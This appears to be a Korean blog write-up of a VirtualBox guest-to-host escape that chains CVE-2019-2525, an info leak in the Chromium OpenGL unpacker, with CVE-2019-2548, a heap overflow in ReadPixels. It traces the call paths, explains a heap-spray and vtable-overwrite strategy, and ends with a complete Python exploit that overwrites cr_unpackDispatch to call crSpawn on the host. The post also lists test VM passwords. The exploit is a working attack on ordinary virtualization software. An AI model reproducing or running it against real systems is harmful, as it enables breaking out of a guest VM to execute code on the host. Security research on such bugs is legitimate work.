본문 바로가기

카테고리 없음

Virtualbox Escape CVE-2019-2525, CVE-2019-2548

환경 구성:

 

host password : demon123
guest password : 123

 

Escape Full chain 짜기 위해서는 Memory Leak 이 먼저 필요하다.

그렇기 위해서 CVE-2019-2525 를 이용을 할 것이다.

일단 우리는 CVE를 분석을 하는것이기 때문에 어디서 취약점이 터지는지 알 수 있다.

 

#CVE-2019-2525

"crUnpackExtendGetAttribLocation" 여기서 취약점이 발생한다. 일단 취약점이 무슨 함수에서 터지는지 알았으니 astrogrep 이라는 툴을 활용하여 어디에 존재하는지 찾아봐야한다.

unpack_shaders.c 파일에서 취약점이 발생하는 것을 알 수 있다.

여기서 취약점이 발생을 한다고 한다.

일단 READ_DATA는 값을 읽는 거라고 예측 할 수 있다. DATA_POINTER도 이름으로 충분히 게싱 가능하다

근데 여기서 보면 SET_RETURN_PTR을 해주는데 뭔가 값을 SET해주는거같다 그리고 인자도 packet_length 라는 뭔가 수상한 이름에 인자를 넘겨준다. 이 함수를 astro grep 에 넣어보자

시간이 좀 지나면 아마 보일 것이다.

 

 

여기서 매크로 함수 내용을 볼 수 있는데

오프셋을 넣어주면 그 오프셋을 더한 후 데이터를 return_ptr 로 memcpy 를 진행한다. 

근데 이게 무슨 문제냐?

packet_length 로 인자를 넘겨주는 부분이

int형 + size 검사를 해주지 않는다.

이렇게 되면 취약점이 발생한다고 예측 할 수 있다.

하지만 이건 어디까지나 예측이다. 정확히 확인할려면 직접 Debugging 을 진행을 하여야한다.

 

근데 디버깅이 될려면 저 함수를 호출을 해줘야한다. 그럼 저 함수를 호출을 해야할려면 어떻게 접근을 해야할까?

 

일단 이 문제를 해결을 할려면 svccall 함수부터 분석을 해야한다. 

3dpwn 에서 짜둔 모듈을 보게되면 힌트를 볼 수 있는데 여기서 SHCRGL... 가 svccall 에서 실행되는것을 알 수 있는데 여기서부터 하나하나 분석을 하면 언젠가는 저기서 crUnpack... 이 실행된다고 예측 할 수 있다.

 

근데 문제는 여기서 어떻게 하나하나 다 분석을 하냐이다. 진짜 코드가 너무 많다. 여기서 생각해볼수 있는 방법이있는데 저 함수를 호출하는 부분만 분석을 해서 리버싱해서 svccall 을 도달하는 부분을 찾는것이다.

다행이도 얼마 안된다.

 

unpack.c 에서 저 함수를 호출을 해주니 저 소스코드를 가져와서 소스 내용을 보자.

안에서 문자 검색을 해서 저 함수를 호출을 해주는 부분을 찾아봤다. 그럼 저 case문은 어디 함수에서 쓰이는걸까?

이 함수에서 READ_DATA해주면서 쓰이게 된다. 그럼 어떤 부분에서 crUnpackExtend 함수를 호출을 해주는걸까?

찾아봤다. 똑같은 곳에서 unpack.c 에서 호출을 해준다. 그럼 다시 가보자.

여기서도 Case가 쓰이는데 CR_EXTEND_OPCODE라는것을 쓴다. 그럼 다시 어디 함수에서 쓰이는지 찾아봐야된다.

이 함수에서 쓰인다. 그럼 다시 grep을 해서 이 함수를 호출을 해주는곳을 찾아보자.

드디어 소스에서 볼게 좀 생겼다.

 

일단 2파일에서 호출을 해주니 1파일부터 따라가면 될거같다.

하나는 이거고

하나는 이 부분이다.

 

일단 둘이 코드는 비슷해서 크게 상관 없을거같다. 근데 위에 코드를 보면 data_ptr에 무언가를 많이 한다 . 그냥 연산 자체를 많이 한다. 이건 즉 우리가 던지는 데이터를 많이 조작한다는건데 이렇게 되면 우리가 넣은 데이터가 불확실하게 된다. (너무 억지인가) 그래서 일단 아래걸 먼저 분석을 해보자. 여기서 unPack 함수를 호출을 해주는 함수는

crServerDispatchMessage 이 함수인데 이 함수를 한번 어디서 호출을 하는지 찾아보자.

똑같은 파일 안에 이 함수를 호출을 해주는 곳이 존재했다.

 

이 함수를 호출을 해주는 함수는 crServerServiceClient 이 함수이다.

이 함수를 호출을 해주는 함수는 crServerServiceClients 이 함수이다 뒤에 s붙이고 바뀐게 그닥 없다

이번에는 파일이 2개이다

같은 파일 안에 이거를 호출해 주는 함수가 있다 이걸 한번 따라가 보자.

CRServermain에서 실행해 주고있다. 이건 즉 탈락이다. 우리가 원하는떄에 실행이 가능해야지 의미가 있는거다.

그럼 server_main.c 에 있는 거를 한번 찾아보자

crVBoxServerInternalClientWriteRead 이 함수에서 crServerServiceClients 함수를 실행시켜주고있다.

이 함수는 또 여기서 호출을 해준다.

이거를 또 찾아보면 드디어 우리가 원하는 파일인 crserivce.cpp 파일에에서 호출을 해준다.

여기 파일을 찾아보면 대부분 다 비슷한 코드로 실행된다.

이렇게 지지고 복고 하면 우리가 원하는 Leak 함수를 실행시킬수 있을거같다.

 

그 다음은 server_readpixels.c 에서 취약점이 발생한다고 한다.

이것도 위에처럼 하나하나 따라가면 어떻게 호출을 해야하는지 알 수 있다.

msg_len 을 보게되면 우리가 넣은 인풋값을 인자로 넘겨주는것을 확인할 수 있는데 이걸로 우리가 원하는 사이즈에  힙을 생성 할 수 있다.

 

구조체를 보게되면 총 사이즈는 0x38 이 되는것을 알 수 있는데 여기서 이제 alloc을 0x20 을 주게되면 어떻게 될까?

0x18 이 오버플로우 되면서 다른 영역에 값을 바꿀수 있다.

 

이거를 이용해 익스플로잇 진행을 할 것이다.

 

그럼 어떻게 익스를 해야할까?

바로 Heap spray 방법을 써야한다

커맨드 중에 heap을 할당 할 수 있고 안에 있는 데이터를 넣을 수 있는 커맨드가 있는데 이걸로 0x20 사이즈에 힙을 엄청나게 많이 할당을 해준다.( 근데 엄청 많이 안해도 될거같다)

그 다음 중간에 있는 아무거나 free를 하게되고 아까전에 취약점이 존재하는 alloc을 사용하여 0x20을 할당하게되면 0x18 이 오버플로우가 되면서 실제로 사용중에 있는 heap 버퍼를 overwrite가 가능하다.

이런식으로 오버플로우가 되면서 uiid 와 uisize를 덮는것이 가능하다.

그럼 size를 주작치고 그 노드를 수정시켜주면 엄청나게 많은 데이터를 넣을수 있게된다.

이걸로 data포인터를 주작친 후 그 노드를 또 수정시켜주게 되면 임외 메모리 쓰기가 가능하다.

 

내 방법은 0x2000 만큼 힙 스프레이를 해주고 안에 있는 하나를 Free시켰다 그래서 그거 하나로 사이즈 주작치고 data포인터 주작친 후 하였다.

 

근데 도대체 어떤 부분을 덮어야 하는걸까?

 

여기서 또 문제가 있는데 우리는 아까전에 Leak 을 하였는데 이거는 libc주소가 아니라서 system 함수를 불러올 수가 없다.

그래서 쓰는게 crspawn 함수이다. 이 함수 내부에 execve를 쓰게 되는데 이거를 사용하면 된다.

 

근데 그럼 어떻게 이걸 호출을 하냐는 의문이 든다.

 

그래서 쓰는게 바로 cr_unpackDispatch 이것이다.

이건 한마디로 말하면 vtable인데 여기서 많은 함수들이 주소를 저장하여 호출할떄마다 가져다 쓴다.

 

그래서 여기에 있는 +0xd8 부분에 있는 crUnpackBoundsInfoCR 함수를 덮게 되면

여기서 호출을 하게된다 심지어 인자도 맛대로 고를수도 있고 넘 알맞는 함수이다.

그래서 vtable을 crspawn 으로 덮고 호출을 해주면 된다.

 

import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from pwn import *

def leak_msg():
        msg = p32(CR_MESSAGE_OPCODES)
        msg += p32(0x42424242)
        msg += p32(1)
        msg += "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
        msg += p32(0xfffff640)                          #size
        msg += p32(CR_GETATTRIBLOCATION_EXTEND_OPCODE)
        msg += p32(0x0)

        return msg

def readpixel_msg():
        msg = p32(CR_MESSAGE_OPCODES)                   
        msg += p32(0x42424242)
        msg += p32(1)
        msg += "\x00\x00\x00" + chr(CR_READPIXELS_OPCODE)
        msg += p32(0x41414141)*3                        #x, y, width
        msg += p32(8)                                   #height
        msg += p32(0x35)                                #format
        msg += p32(0)                                   #type
        msg += p32(0x41414141)*2                        #stride, alignment
        msg += p32(0)*2                                 #skipRows, skipPixels
        msg += p32(0x1ffffffd)                          #bytes_per_row
        msg += p32(0)                                   #rowLength
        msg += p32(0xdeaddeaf)                          #network pointer(overwrite)
        msg += p32(0xffffffff)                          #network pointer(overwrite)
	
	return msg

def fakechunk(addr, name):
	msg = "A"*0x20
	msg += p64(0)
	msg += p64(35)
	msg += p32(name)
	msg += p32(0xffffffff)
	msg += p64(addr)

	return msg

def crspawn_msg(addr, pointer):
	msg = p32(CR_MESSAGE_OPCODES)
        msg += p32(0x42424242)
        msg += p32(1)
        msg += "\x00\x00\x00" + chr(CR_BOUNDSINFOCR_OPCODE)
	msg += p32(0)
	msg += p64(addr)
	msg += p32(0)*3
	msg += p64(pointer)
	msg += p32(0)

	return msg

client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client);
payload = leak_msg()
res = crmsg(client, payload);
idx = res.find("\x7f", 0x10)
leak = u64(res[idx-5:idx+1].ljust(8,'\x00'))
base = leak - 0x20560
crspawn = base + 0x14510
cr_unpackdispatch = base + 0x5554c0

success(hex(leak))
success(hex(base))

buf=[]
for i in range(0x2000):
        buf.append(alloc_buf(client, 0x20, "A"*0x20))
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf[13], "A"*0x20, 1])

payload = readpixel_msg()
res = crmsg(client, payload);

payload = fakechunk(cr_unpackdispatch+0xd8, 0x41414141)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddeaf,0xffffffff, 0, payload])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x41414141,0xffffffff, 0, p64(crspawn)])
payload = fakechunk(cr_unpackdispatch+0x40, 0x42424242)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddeaf,0xffffffff, 0, payload])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x42424242,0xffffffff, 0, p64(0x636c616378)])

payload = crspawn_msg(0x636c616378, cr_unpackdispatch+0x40)
crmsg(client, payload)